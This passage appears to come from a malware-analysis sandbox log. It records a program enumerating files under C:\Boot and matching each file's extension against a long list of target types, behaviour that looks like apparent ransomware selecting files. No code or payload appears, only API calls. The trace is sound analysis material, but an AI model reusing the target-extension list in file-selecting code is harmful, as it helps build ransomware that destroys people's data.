lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".emf") returned 4 [0089.365] lstrcmpiW (lpString1=".emf", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".emz") returned 4 [0089.365] lstrcmpiW (lpString1=".emz", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".epf") returned 4 [0089.365] lstrcmpiW (lpString1=".epf", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".eps") returned 4 [0089.365] lstrcmpiW (lpString1=".eps", lpString2=".mui") returned -1 [0089.365] lstrlenW (lpString=".epsf") returned 5 [0089.365] lstrcmpiW (lpString1=".epsf", lpString2="e.mui") returned -1 [0089.365] lstrlenW (lpString=".epsp") returned 5 [0089.365] lstrcmpiW (lpString1=".epsp", lpString2="e.mui") returned -1 [0089.365] lstrlenW (lpString=".erf") returned 4 [0089.365] lstrcmpiW (lpString1=".erf", lpString2=".mui") returned -1 [0089.366] lstrlenW (lpString=".exr") returned 4 [0089.366] lstrcmpiW (lpString1=".exr", lpString2=".mui") returned -1 [0089.366] lstrlenW (lpString=".f4v") returned 4 [0089.366] lstrcmpiW (lpString1=".f4v", lpString2=".mui") returned -1 [0089.366] lstrlenW (lpString=".fido") returned 5 [0089.366] lstrcmpiW (lpString1=".fido", lpString2="e.mui") returned -1 [0089.366] lstrlenW (lpString=".flm") returned 4 [0089.366] lstrcmpiW (lpString1=".flm", lpString2=".mui") returned -1 [0089.366] lstrlenW (lpString=".flv") returned 4 [0089.366] lstrcmpiW (lpString1=".flv", lpString2=".mui") returned -1 [0089.366] lstrlenW (lpString=".frm") returned 4 [0089.366] lstrcmpiW (lpString1=".frm", lpString2=".mui") returned -1 [0089.366] lstrlenW (lpString=".fxg") returned 4 [0089.366] lstrcmpiW (lpString1=".fxg", lpString2=".mui") returned -1 [0089.366] lstrlenW (lpString=".geo") returned 4 [0089.367] lstrcmpiW (lpString1=".geo", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".gif") returned 4 [0089.367] lstrcmpiW (lpString1=".gif", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".grs") returned 4 [0089.367] lstrcmpiW (lpString1=".grs", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".gz") returned 3 [0089.367] lstrcmpiW (lpString1=".gz", lpString2="mui") returned -1 [0089.367] lstrlenW (lpString=".h") returned 2 [0089.367] lstrcmpiW (lpString1=".h", lpString2="ui") returned -1 [0089.367] lstrlenW (lpString=".hdr") returned 4 [0089.367] lstrcmpiW (lpString1=".hdr", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".hpp") returned 4 [0089.367] lstrcmpiW (lpString1=".hpp", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".hta") returned 4 [0089.367] lstrcmpiW (lpString1=".hta", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".htc") returned 4 [0089.367] lstrcmpiW (lpString1=".htc", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".htm") returned 4 [0089.367] lstrcmpiW (lpString1=".htm", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".html") returned 5 [0089.367] lstrcmpiW (lpString1=".html", lpString2="e.mui") returned -1 [0089.367] lstrlenW (lpString=".icb") returned 4 [0089.367] lstrcmpiW (lpString1=".icb", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".ics") returned 4 [0089.367] lstrcmpiW (lpString1=".ics", lpString2=".mui") returned -1 [0089.367] lstrlenW (lpString=".iff") returned 4 [0089.368] lstrcmpiW (lpString1=".iff", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".inc") returned 4 [0089.368] lstrcmpiW (lpString1=".inc", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".indd") returned 5 [0089.368] lstrcmpiW (lpString1=".indd", lpString2="e.mui") returned -1 [0089.368] lstrlenW (lpString=".ini") returned 4 [0089.368] lstrcmpiW (lpString1=".ini", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".iqy") returned 4 [0089.368] lstrcmpiW (lpString1=".iqy", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".j2c") returned 4 [0089.368] lstrcmpiW (lpString1=".j2c", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".j2k") returned 4 [0089.368] lstrcmpiW (lpString1=".j2k", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".java") returned 5 [0089.368] lstrcmpiW (lpString1=".java", lpString2="e.mui") returned -1 [0089.368] lstrlenW (lpString=".jp2") returned 4 [0089.368] lstrcmpiW (lpString1=".jp2", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".jpc") returned 4 [0089.368] lstrcmpiW (lpString1=".jpc", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".jpe") returned 4 [0089.368] lstrcmpiW (lpString1=".jpe", lpString2=".mui") returned -1 [0089.368] lstrlenW (lpString=".jpeg") returned 5 [0089.368] lstrcmpiW (lpString1=".jpeg", lpString2="e.mui") returned -1 [0089.368] lstrlenW (lpString=".jpf") returned 4 [0089.368] lstrcmpiW (lpString1=".jpf", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".jpg") returned 4 [0089.369] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".jpx") returned 4 [0089.369] lstrcmpiW (lpString1=".jpx", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".js") returned 3 [0089.369] lstrcmpiW (lpString1=".js", lpString2="mui") returned -1 [0089.369] lstrlenW (lpString=".jsf") returned 4 [0089.369] lstrcmpiW (lpString1=".jsf", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".json") returned 5 [0089.369] lstrcmpiW (lpString1=".json", lpString2="e.mui") returned -1 [0089.369] lstrlenW (lpString=".jsp") returned 4 [0089.369] lstrcmpiW (lpString1=".jsp", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".kdc") returned 4 [0089.369] lstrcmpiW (lpString1=".kdc", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".kmz") returned 4 [0089.369] lstrcmpiW (lpString1=".kmz", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".kwm") returned 4 [0089.369] lstrcmpiW (lpString1=".kwm", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".lasso") returned 6 [0089.369] lstrcmpiW (lpString1=".lasso", lpString2="xe.mui") returned -1 [0089.369] lstrlenW (lpString=".lbi") returned 4 [0089.369] lstrcmpiW (lpString1=".lbi", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".lgf") returned 4 [0089.369] lstrcmpiW (lpString1=".lgf", lpString2=".mui") returned -1 [0089.369] lstrlenW (lpString=".lgp") returned 4 [0089.369] lstrcmpiW (lpString1=".lgp", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".log") returned 4 [0089.370] lstrcmpiW (lpString1=".log", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".m1v") returned 4 [0089.370] lstrcmpiW (lpString1=".m1v", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".m4a") returned 4 [0089.370] lstrcmpiW (lpString1=".m4a", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".m4v") returned 4 [0089.370] lstrcmpiW (lpString1=".m4v", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".max") returned 4 [0089.370] lstrcmpiW (lpString1=".max", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".md") returned 3 [0089.370] lstrcmpiW (lpString1=".md", lpString2="mui") returned -1 [0089.370] lstrlenW (lpString=".mda") returned 4 [0089.370] lstrcmpiW (lpString1=".mda", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".mdb") returned 4 [0089.370] lstrcmpiW (lpString1=".mdb", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".mde") returned 4 [0089.370] lstrcmpiW (lpString1=".mde", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".mdf") returned 4 [0089.370] lstrcmpiW (lpString1=".mdf", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".mdw") returned 4 [0089.370] lstrcmpiW (lpString1=".mdw", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".mef") returned 4 [0089.370] lstrcmpiW (lpString1=".mef", lpString2=".mui") returned -1 [0089.370] lstrlenW (lpString=".mft") returned 4 [0089.371] lstrcmpiW (lpString1=".mft", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mfw") returned 4 [0089.371] lstrcmpiW (lpString1=".mfw", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mht") returned 4 [0089.371] lstrcmpiW (lpString1=".mht", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mhtml") returned 6 [0089.371] lstrcmpiW (lpString1=".mhtml", lpString2="xe.mui") returned -1 [0089.371] lstrlenW (lpString=".mka") returned 4 [0089.371] lstrcmpiW (lpString1=".mka", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mkidx") returned 6 [0089.371] lstrcmpiW (lpString1=".mkidx", lpString2="xe.mui") returned -1 [0089.371] lstrlenW (lpString=".mkv") returned 4 [0089.371] lstrcmpiW (lpString1=".mkv", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mos") returned 4 [0089.371] lstrcmpiW (lpString1=".mos", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mov") returned 4 [0089.371] lstrcmpiW (lpString1=".mov", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mp3") returned 4 [0089.371] lstrcmpiW (lpString1=".mp3", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mp4") returned 4 [0089.371] lstrcmpiW (lpString1=".mp4", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mpeg") returned 5 [0089.371] lstrcmpiW (lpString1=".mpeg", lpString2="e.mui") returned -1 [0089.371] lstrlenW (lpString=".mpg") returned 4 [0089.371] lstrcmpiW (lpString1=".mpg", lpString2=".mui") returned -1 [0089.371] lstrlenW (lpString=".mpv") returned 4 [0089.371] lstrcmpiW (lpString1=".mpv", lpString2=".mui") returned -1 [0089.372] lstrlenW (lpString=".mrw") returned 4 [0089.372] lstrcmpiW (lpString1=".mrw", lpString2=".mui") returned -1 [0089.372] lstrlenW (lpString=".msg") returned 4 [0089.372] lstrcmpiW (lpString1=".msg", lpString2=".mui") returned -1 [0089.372] lstrlenW (lpString=".mxl") returned 4 [0089.372] lstrcmpiW (lpString1=".mxl", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".myd") returned 4 [0089.372] lstrcmpiW (lpString1=".myd", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".myi") returned 4 [0089.372] lstrcmpiW (lpString1=".myi", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".nef") returned 4 [0089.372] lstrcmpiW (lpString1=".nef", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".nrw") returned 4 [0089.372] lstrcmpiW (lpString1=".nrw", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".obj") returned 4 [0089.372] lstrcmpiW (lpString1=".obj", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".odb") returned 4 [0089.372] lstrcmpiW (lpString1=".odb", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".odc") returned 4 [0089.372] lstrcmpiW (lpString1=".odc", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".odm") returned 4 [0089.372] lstrcmpiW (lpString1=".odm", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".odp") returned 4 [0089.372] lstrcmpiW (lpString1=".odp", lpString2=".mui") returned 1 [0089.372] lstrlenW (lpString=".ods") returned 4 [0089.373] lstrcmpiW (lpString1=".ods", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".oft") returned 4 [0089.373] lstrcmpiW (lpString1=".oft", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".one") returned 4 [0089.373] lstrcmpiW (lpString1=".one", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".onepkg") returned 7 [0089.373] lstrcmpiW (lpString1=".onepkg", lpString2="exe.mui") returned -1 [0089.373] lstrlenW (lpString=".onetoc2") returned 8 [0089.373] lstrcmpiW (lpString1=".onetoc2", lpString2=".exe.mui") returned 1 [0089.373] lstrlenW (lpString=".opt") returned 4 [0089.373] lstrcmpiW (lpString1=".opt", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".oqy") returned 4 [0089.373] lstrcmpiW (lpString1=".oqy", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".orf") returned 4 [0089.373] lstrcmpiW (lpString1=".orf", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".p12") returned 4 [0089.373] lstrcmpiW (lpString1=".p12", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".p7b") returned 4 [0089.373] lstrcmpiW (lpString1=".p7b", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".p7c") returned 4 [0089.373] lstrcmpiW (lpString1=".p7c", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".pam") returned 4 [0089.373] lstrcmpiW (lpString1=".pam", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".pbm") returned 4 [0089.373] lstrcmpiW (lpString1=".pbm", lpString2=".mui") returned 1 [0089.373] lstrlenW (lpString=".pct") returned 4 [0089.374] lstrcmpiW (lpString1=".pct", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pcx") returned 4 [0089.374] lstrcmpiW (lpString1=".pcx", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pdd") returned 4 [0089.374] lstrcmpiW (lpString1=".pdd", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pdf") returned 4 [0089.374] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pdp") returned 4 [0089.374] lstrcmpiW (lpString1=".pdp", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pef") returned 4 [0089.374] lstrcmpiW (lpString1=".pef", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pem") returned 4 [0089.374] lstrcmpiW (lpString1=".pem", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pff") returned 4 [0089.374] lstrcmpiW (lpString1=".pff", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pfm") returned 4 [0089.374] lstrcmpiW (lpString1=".pfm", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pfx") returned 4 [0089.374] lstrcmpiW (lpString1=".pfx", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".pgm") returned 4 [0089.374] lstrcmpiW (lpString1=".pgm", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".php") returned 4 [0089.374] lstrcmpiW (lpString1=".php", lpString2=".mui") returned 1 [0089.374] lstrlenW (lpString=".php3") returned 5 [0089.374] lstrcmpiW (lpString1=".php3", lpString2="e.mui") returned -1 [0089.374] lstrlenW (lpString=".php4") returned 5 [0089.375] lstrcmpiW (lpString1=".php4", lpString2="e.mui") returned -1 [0089.375] lstrlenW (lpString=".php5") returned 5 [0089.375] lstrcmpiW (lpString1=".php5", lpString2="e.mui") returned -1 [0089.375] lstrlenW (lpString=".phtml") returned 6 [0089.375] lstrcmpiW (lpString1=".phtml", lpString2="xe.mui") returned -1 [0089.375] lstrlenW (lpString=".pict") returned 5 [0089.375] lstrcmpiW (lpString1=".pict", lpString2="e.mui") returned -1 [0089.375] lstrlenW (lpString=".pl") returned 3 [0089.375] lstrcmpiW (lpString1=".pl", lpString2="mui") returned -1 [0089.375] lstrlenW (lpString=".pls") returned 4 [0089.375] lstrcmpiW (lpString1=".pls", lpString2=".mui") returned 1 [0089.375] lstrlenW (lpString=".pm") returned 3 [0089.375] lstrcmpiW (lpString1=".pm", lpString2="mui") returned -1 [0089.375] lstrlenW (lpString=".png") returned 4 [0089.375] lstrcmpiW (lpString1=".png", lpString2=".mui") returned 1 [0089.375] lstrlenW (lpString=".pnm") returned 4 [0089.375] lstrcmpiW (lpString1=".pnm", lpString2=".mui") returned 1 [0089.375] lstrlenW (lpString=".pot") returned 4 [0089.375] lstrcmpiW (lpString1=".pot", lpString2=".mui") returned 1 [0089.375] lstrlenW (lpString=".potm") returned 5 [0089.375] lstrcmpiW (lpString1=".potm", lpString2="e.mui") returned -1 [0089.375] lstrlenW (lpString=".potx") returned 5 [0089.375] lstrcmpiW (lpString1=".potx", lpString2="e.mui") returned -1 [0089.375] lstrlenW (lpString=".ppa") returned 4 [0089.375] lstrcmpiW (lpString1=".ppa", lpString2=".mui") returned 1 [0089.375] lstrlenW (lpString=".ppam") returned 5 [0089.376] lstrcmpiW (lpString1=".ppam", lpString2="e.mui") returned -1 [0089.376] lstrlenW (lpString=".ppm") returned 4 [0089.376] lstrcmpiW (lpString1=".ppm", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".pps") returned 4 [0089.376] lstrcmpiW (lpString1=".pps", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".ppsm") returned 5 [0089.376] lstrcmpiW (lpString1=".ppsm", lpString2="e.mui") returned -1 [0089.376] lstrlenW (lpString=".ppt") returned 4 [0089.376] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".pptm") returned 5 [0089.376] lstrcmpiW (lpString1=".pptm", lpString2="e.mui") returned -1 [0089.376] lstrlenW (lpString=".pptx") returned 5 [0089.376] lstrcmpiW (lpString1=".pptx", lpString2="e.mui") returned -1 [0089.376] lstrlenW (lpString=".prn") returned 4 [0089.376] lstrcmpiW (lpString1=".prn", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".ps") returned 3 [0089.376] lstrcmpiW (lpString1=".ps", lpString2="mui") returned -1 [0089.376] lstrlenW (lpString=".psb") returned 4 [0089.376] lstrcmpiW (lpString1=".psb", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".psd") returned 4 [0089.376] lstrcmpiW (lpString1=".psd", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".pst") returned 4 [0089.376] lstrcmpiW (lpString1=".pst", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".ptx") returned 4 [0089.376] lstrcmpiW (lpString1=".ptx", lpString2=".mui") returned 1 [0089.376] lstrlenW (lpString=".pub") returned 4 [0089.377] lstrcmpiW (lpString1=".pub", lpString2=".mui") returned 1 [0089.377] lstrlenW (lpString=".pwm") returned 4 [0089.377] lstrcmpiW (lpString1=".pwm", lpString2=".mui") returned 1 [0089.377] lstrlenW (lpString=".pxr") returned 4 [0089.377] lstrcmpiW (lpString1=".pxr", lpString2=".mui") returned 1 [0089.377] lstrlenW (lpString=".py") returned 3 [0089.377] lstrcmpiW (lpString1=".py", lpString2="mui") returned -1 [0089.377] lstrlenW (lpString=".qt") returned 3 [0089.377] lstrcmpiW (lpString1=".qt", lpString2="mui") returned -1 [0089.377] lstrlenW (lpString=".r3d") returned 4 [0089.377] lstrcmpiW (lpString1=".r3d", lpString2=".mui") returned 1 [0089.377] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0089.377] FindNextFileW (in: hFindFile=0x4260650, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0089.378] FindClose (in: hFindFile=0x4260650 | out: hFindFile=0x4260650) returned 1 [0089.378] HeapFree (in: hHeap=0x440000, dwFlags=0x0, lpMem=0x4273e70 | out: hHeap=0x440000) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x4260490, lpFindFileData=0x3cdfa7c | out: lpFindFileData=0x3cdfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0089.378] RtlAllocateHeap (HeapHandle=0x440000, Flags=0x0, Size=0xfffe) returned 0x4273e70 [0089.378] lstrlenW (lpString="C:\\Boot\\de-DE") returned 13 [0089.378] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4260250 [0089.378] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0089.378] FindNextFileW (in: hFindFile=0x4260250, lpFindFileData=0x3cdf800 | out: lpFindFileData=0x3cdf800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0089.378] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0089.378] lstrlenW (lpString=".1cd") returned 4 [0089.378] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0089.378] lstrlenW (lpString=".3ds") returned 4 [0089.379] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0089.379] lstrlenW (lpString=".3fr") returned 4 [0089.379] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0089.379] lstrlenW (lpString=".3g2") returned 4 [0089.379] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0089.379] lstrlenW (lpString=".3gp") returned 4 [0089.379] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0089.379] lstrlenW (lpString=".7z") returned 3 [0089.379] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0089.379] lstrlenW (lpString=".accda") returned 6 [0089.379] lstrcmpiW (lpString1=".accda", lpString2="xe.mui") returned -1 [0089.379] lstrlenW (lpString=".accdb") returned 6 [0089.379] lstrcmpiW (lpString1=".accdb", lpString2="xe.mui") returned -1 [0089.379] lstrlenW (lpString=".accdc") returned 6 [0089.379] lstrcmpiW (lpString1=".accdc", lpString2="xe.mui") returned -1 [0089.379] lstrlenW (lpString=".accde") returned 6 [0089.379] lstrcmpiW (lpString1=".accde", lpString2="xe.mui") returned -1 [0089.379] lstrlenW (lpString=".accdt") returned 6 [0089.379] lstrcmpiW (lpString1=".accdt", lpString2="xe.mui") returned -1 [0089.379] lstrlenW (lpString=".accdw") returned 6 [0089.379] lstrcmpiW (lpString1=".accdw", lpString2="xe.mui") returned -1 [0089.379] lstrlenW (lpString=".adb") returned 4 [0089.379] lstrcmpiW (lpString1=".adb", lpString2=".mui") returned -1 [0089.379] lstrlenW (lpString=".adp") returned 4 [0089.379] lstrcmpiW (lpString1=".adp", lpString2=".mui") returned -1 [0089.379] lstrlenW (lpString=".ai") returned 3 [0089.379] lstrcmpiW (lpString1=".ai", lpString2="mui") returned -1 [0089.380] lstrlenW (lpString=".ai3") returned 4 [0089.380] lstrcmpiW (lpString1=".ai3", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".ai4") returned 4 [0089.380] lstrcmpiW (lpString1=".ai4", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".ai5") returned 4 [0089.380] lstrcmpiW (lpString1=".ai5", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".ai6") returned 4 [0089.380] lstrcmpiW (lpString1=".ai6", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".ai7") returned 4 [0089.380] lstrcmpiW (lpString1=".ai7", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".ai8") returned 4 [0089.380] lstrcmpiW (lpString1=".ai8", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".anim") returned 5 [0089.380] lstrcmpiW (lpString1=".anim", lpString2="e.mui") returned -1 [0089.380] lstrlenW (lpString=".arw") returned 4 [0089.380] lstrcmpiW (lpString1=".arw", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".as") returned 3 [0089.380] lstrcmpiW (lpString1=".as", lpString2="mui") returned -1 [0089.380] lstrlenW (lpString=".asa") returned 4 [0089.380] lstrcmpiW (lpString1=".asa", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".asc") returned 4 [0089.380] lstrcmpiW (lpString1=".asc", lpString2=".mui") returned -1 [0089.380] lstrlenW (lpString=".ascx") returned 5 [0089.380] lstrcmpiW (lpString1=".ascx", lpString2="e.mui") returned -1 [0089.380] lstrlenW (lpString=".asm") returned 4 [0089.380] lstrcmpiW (lpString1=".asm", lpString2=".mui") returned -1 [0089.381] lstrlenW (lpString=".asmx") returned 5 [0089.381] lstrcmpiW (lpString1=".asmx", lpString2="e.mui") returned -1 [0089.381] lstrlenW (lpString=".asp") returned 4 [0089.381] lstrcmpiW (lpString1=".asp", lpString2=".mui") returned -1 [0089.381] lstrlenW (lpString=".aspx") returned 5 [0089.381] lstrcmpiW (lpString1=".aspx", lpString2="e.mui") returned -1 [0089.381] lstrlenW (lpString=".asr") returned 4 [0089.381] lstrcmpiW (lpString1=".asr", lpString2=".mui") returned -1 [0089.381] lstrlenW (lpString=".asx") returned 4 [0089.381] lstrcmpiW (lpString1=".asx", lpString2=".mui") returned -1 [0089.381] lstrlenW (lpString=".avi") returned 4 [0089.381] lstrcmpiW (lpString1=".avi", lpString2=".mui") returned -1 [0089.381] lstrlenW (lpString=".avs") returned 4 [0089.381] lstrcmpiW (lpString1=".avs", lpString2=".mui") returned -1 [0089.381] lstrlenW (lpString=".backup") returned 7 [0089.381] lstrcmpiW (lpString1=".backup", lpString2="exe.mui") returned -1 [0089.381] lstrlenW (lpString=".bak") returned 4 [0089.381] lstrcmpiW (lpString1=".bak", lpString2=".mui") returned -1 [0089.381] lstrlenW (lpString=".bay") returned 4 [0089.381] lstrcmpiW (lpString1=".bay", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".bd") returned 3 [0089.382] lstrcmpiW (lpString1=".bd", lpString2="mui") returned -1 [0089.382] lstrlenW (lpString=".bin") returned 4 [0089.382] lstrcmpiW (lpString1=".bin", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".bmp") returned 4 [0089.382] lstrcmpiW (lpString1=".bmp", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".bz2") returned 4 [0089.382] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".c") returned 2 [0089.382] lstrcmpiW (lpString1=".c", lpString2="ui") returned -1 [0089.382] lstrlenW (lpString=".cdr") returned 4 [0089.382] lstrcmpiW (lpString1=".cdr", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".cer") returned 4 [0089.382] lstrcmpiW (lpString1=".cer", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".cf") returned 3 [0089.382] lstrcmpiW (lpString1=".cf", lpString2="mui") returned -1 [0089.382] lstrlenW (lpString=".cfc") returned 4 [0089.382] lstrcmpiW (lpString1=".cfc", lpString2=".mui") returned -1 [0089.382] lstrlenW (lpString=".cfm") returned 4 [0089.382] lstrcmpiW (lpString1=".cfm", lpString2=".mui") returned -1 [0089.382] lstrlenW 